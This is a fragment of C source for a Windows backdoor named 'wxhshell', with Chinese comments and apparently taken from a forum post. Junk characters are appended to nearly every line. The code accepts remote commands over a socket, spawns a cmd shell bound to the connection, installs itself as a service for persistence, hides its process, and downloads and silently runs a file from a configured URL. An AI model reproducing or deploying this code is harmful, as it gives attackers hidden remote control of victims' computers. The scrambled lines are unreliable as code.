    switch(cmd[0]) { jSE)&K4nI  
  h6D4CT  
  // 帮助 )mm0PJF~q  
  case '?': { _{k*JT2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >B0AJW/u  
    break; P".}Y[GD  
  } vK)'3%  
  // 安装 Zo&i0%S\E  
  case 'i': { i-v: %  
    if(Install()) n<8WjrK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@f"WrQ  
    else \HLo%]A@M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !lNyoX/  
    break; ; oa+Z:;f  
    } vEg%ivj3  
  // 卸载 0QZT<Zs  
  case 'r': { X|{Tljn  
    if(Uninstall()) )]C]KB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rk1,LsZVS  
    else #E!^oZm<Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #b[bgxm  
    break; ,.9lz  
    } n o<$=(11i  
  // 显示 wxhshell 所在路径 NRtH?&7  
  case 'p': { r=n{3o+  
    char svExeFile[MAX_PATH]; 1 7 KQ  
    strcpy(svExeFile,"\n\r"); 7o+L  
      strcat(svExeFile,ExeFile); 3XQa%|N(  
        send(wsh,svExeFile,strlen(svExeFile),0); b V  EJ  
    break; %RV81H9B  
    } >b2!&dm  
  // 重启 e1W9"&4>G{  
  case 'b': { ]`$yY5&W0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h s',f  
    if(Boot(REBOOT)) Zu|NF uFI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;_4 3eS  
    else { pL{oVk#,  
    closesocket(wsh); Vhv'Z\  
    ExitThread(0); Qz|T0\=V  
    } ~7ZZb*].(  
    break; zG_nx3  
    } cQt&%SVT]E  
  // 关机 ~NK $rHwi%  
  case 'd': { rlKR <4H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y ]()v  
    if(Boot(SHUTDOWN)) [M[#f&=Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jOfG}:>e\  
    else { O`y3H lc  
    closesocket(wsh); e& `"}^X;I  
    ExitThread(0); -b^dK)wR~  
    } es6YxMg  
    break; e}?Q&Lci  
    } bfA>kn0C  
  // 获取shell Qg/FFn^Kg*  
  case 's': { l0,VN,$Yl  
    CmdShell(wsh); 9 o,` peH  
    closesocket(wsh); 0L/chP  
    ExitThread(0); LnE/62){N  
    break; ,7@\e &/&  
  } X,w X)9]J  
  // 退出 }BC%(ZH6  
  case 'x': { *w@ 1@6?j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;B 8Q,.t>x  
    CloseIt(wsh); rn)Gx2 5  
    break; VrRF2(Kn?  
    } zF`a:dD$d  
  // 离开 Kb+SssF  
  case 'q': { flPS+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hYzP6?K"  
    closesocket(wsh); >Gpq{Ph[  
    WSACleanup(); 4q]6[/  
    exit(1); j2,sI4  
    break; 4E.9CjN1>  
        } ^(:~8 h  
  } E:8*o7  
  } BmV `<Q,  
8  *f 9  
  // 提示信息 5.VPK 338A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eaf-_#qb  
} ]#G s6CsT|  
  } eAW)|=2  
:^kAFLU  
  return; 5 I_ :7$8  
} 7k*  
 E& cC2(w  
// shell模块句柄 v Z]j%c@  
int CmdShell(SOCKET sock) gra6&&^"  
{ ;j1 SSHZ  
STARTUPINFO si; ;av!fK  
ZeroMemory(&si,sizeof(si)); Dc0=gq0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !+3&%vQ)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U3&GRY|##  
PROCESS_INFORMATION ProcessInfo; 3;L$&X2  
char cmdline[]="cmd"; d\>XfS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -& (iU#W  
  return 0; yP3I^>AZ3  
} Ua \f]y  
$CMye; yL  
// 自身启动模式 ;7s^slVzF  
int StartFromService(void) _{'[Uf/l  
{ +m./RlQ{  
typedef struct jz" >Kh.}  
{ wY ItG"+6  
  DWORD ExitStatus; T9$~tv,5F  
  DWORD PebBaseAddress; R*bx&..<  
  DWORD AffinityMask; sPQj B[  
  DWORD BasePriority; S~:uOm2t\  
  ULONG UniqueProcessId; c"tlNf?  
  ULONG InheritedFromUniqueProcessId; yQ/O[(  
}   PROCESS_BASIC_INFORMATION; dUa>XkPa\2  
/g>-s&w  
PROCNTQSIP NtQueryInformationProcess; y%vAEQ2j=  
`0ym3}(O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !T<,fR+8X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w98M #GqV  
GAY?F  
  HANDLE             hProcess; 9BZ B1o X  
  PROCESS_BASIC_INFORMATION pbi; X[.%[G|oj}  
a k5D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =aB+|E  
  if(NULL == hInst ) return 0; >/\TG8t,f  
Crc6wmp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NTq_"`JjZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s~Ivq+ipr;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k -jFT3b$  
S6M7^_B4F  
  if (!NtQueryInformationProcess) return 0; ^&&Wv'7XQ  
yFk|8d-|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _k]R6V:  
  if(!hProcess) return 0; R5e[cC8o.  
~"%'(j_4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ry}4MEq]  
2fky z  
  CloseHandle(hProcess); 4RDY_HgF6  
*-=/"m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Y1h=,KR9  
if(hProcess==NULL) return 0; AQ$)JPs  
ZgEV-.>P  
HMODULE hMod; =LLpJ+  
char procName[255]; V/xXW=  
unsigned long cbNeeded; ~.x#ic  
`scW.Vem  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vf:.C|Z  
1p~ORQ  
  CloseHandle(hProcess); ^@/wXj:  
k'%yvlv  
if(strstr(procName,"services")) return 1; // 以服务启动 873 bg|^hs  
OP+*%$wR  
  return 0; // 注册表启动 %|x9C,0p#  
} .BJoY <P*  
3(K.:376  
// 主模块 8!35 K  
int StartWxhshell(LPSTR lpCmdLine) j)8$hK/e0.  
{ ">=Ep+ix  
  SOCKET wsl; Eg1TF oIWl  
BOOL val=TRUE; H2|'JA#v  
  int port=0; x7 e0&  
  struct sockaddr_in door; (7<G1$:z=  
b0'}BMJ  
  if(wscfg.ws_autoins) Install(); q 1xSylE  
;iYCeL(  
port=atoi(lpCmdLine); .BxQF  
6, j60`f)  
if(port<=0) port=wscfg.ws_port;  kVZs:  
3c#^@Bj(-e  
  WSADATA data; H.iCYD_=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,? <;zq  
r{?qvl!q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0;LF>+fJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XSof{:V  
  door.sin_family = AF_INET; xKBi".wA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JtSwbdN  
  door.sin_port = htons(port); = LIb0TZ2  
IR3SP[K"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bn|HvLQ"1  
closesocket(wsl); ncadVheKt  
return 1; 6?5dGYAX<  
} 6H2Bf*i  
-}4CY\d6'  
  if(listen(wsl,2) == INVALID_SOCKET) { H[: lQ\  
closesocket(wsl); ,#BD/dF  
return 1; sK W~+ ]  
} {9;-5@b  
  Wxhshell(wsl); *6<4ECa7C  
  WSACleanup(); ).GM 0-y  
TR*vZzoy  
return 0; 0J[B3JO@M  
oMYFfnoAa  
} &Oz  
9ec?L  
// 以NT服务方式启动 ?A\+s,9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bbS,pid1  
{ NApy(e 5%  
DWORD   status = 0; IHCxM|/k(M  
  DWORD   specificError = 0xfffffff; LtwfL^#  
88:YU4:l`N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VDv.N@ ) 7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zk3\v "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 28M^ F~0  
  serviceStatus.dwWin32ExitCode     = 0; 9Bpb?  
  serviceStatus.dwServiceSpecificExitCode = 0; ~Fo2MwE2~  
  serviceStatus.dwCheckPoint       = 0; #]^C(qmb:  
  serviceStatus.dwWaitHint       = 0; ~G8l1dD  
s+_8U}R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J*K=tA  
  if (hServiceStatusHandle==0) return; qYVeFSS  
euV!U}Xr  
status = GetLastError(); ^PE|BCs  
  if (status!=NO_ERROR) (bsywM  
{ yz,_\{}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '`gnJX JO  
    serviceStatus.dwCheckPoint       = 0; S['%>  
    serviceStatus.dwWaitHint       = 0; ]qZj@0#7n  
    serviceStatus.dwWin32ExitCode     = status; V/DMkO#a  
    serviceStatus.dwServiceSpecificExitCode = specificError; };}N1[D   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); si~zg\uY  
    return; n|T$3j)  
  } v1+.-hO  
h8M_Uk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9 4bDJy1  
  serviceStatus.dwCheckPoint       = 0; 1NZpd'$c  
  serviceStatus.dwWaitHint       = 0; L~h:>I+pG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7s%1?$B  
} vMX\q  
~ m vv :u  
// 处理NT服务事件,比如:启动、停止 e\aW~zs 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SJc*Rl>  
{ D|$0~1y  
switch(fdwControl) r$M<vo6C  
{ &)Zv>P8z`  
case SERVICE_CONTROL_STOP: m@I}$  
  serviceStatus.dwWin32ExitCode = 0; je#LD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z*b|N45O  
  serviceStatus.dwCheckPoint   = 0; wZCboQ,  
  serviceStatus.dwWaitHint     = 0; Fsq)co  
  { -f:PgBj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WC_U'nTu4  
  } AK'3N1l`  
  return; m=COF$<  
case SERVICE_CONTROL_PAUSE: I5[@C<b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }9B},  
  break; l| \ -d  
case SERVICE_CONTROL_CONTINUE: ettBque  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U4Y)Jk  
  break; %< ;u JP K  
case SERVICE_CONTROL_INTERROGATE: vKPLh   
  break; %RwWyzm#\  
}; ow`F 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9T$%^H9  
} &.yX41R  
dpge:Qhr  
// 标准应用程序主函数 Zn*W2s^^{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )eSQce7H  
{ dci,[TEGu  
hWn-[w/l_  
// 获取操作系统版本 \%]lsml  
OsIsNt=GetOsVer(); *\iXU//^)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tNqSCjQ~_c  
J.g6<n  
  // 从命令行安装 x6\VIP"9L  
  if(strpbrk(lpCmdLine,"iI")) Install(); v13\y^t  
Mw+ l>92  
  // 下载执行文件 2.@IfBF6  
if(wscfg.ws_downexe) { Z6WNMQ1:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #U3q +d+^  
  WinExec(wscfg.ws_filenam,SW_HIDE);  RZqMpW  
} Xa"I  
C[ KMaB  
if(!OsIsNt) { &0ymAf5R  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~EQ# %db  
HideProc(); X$t!g`  
StartWxhshell(lpCmdLine); j+lcj&V#  
} r>KmrU4Q  
else  C !v%6[  
  if(StartFromService()) BGH'&t_5  
  // 以服务方式启动 Gf~^Xv!T  
  StartServiceCtrlDispatcher(DispatchTable); o?= &kx  
else Jfv'M<I  
  // 普通方式启动 09Q5gal  
  StartWxhshell(lpCmdLine); nemC-4}  
A3q#,%  
return 0; !iX/Ni:  
}
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只看该作者 1 发表于: 2006-10-10
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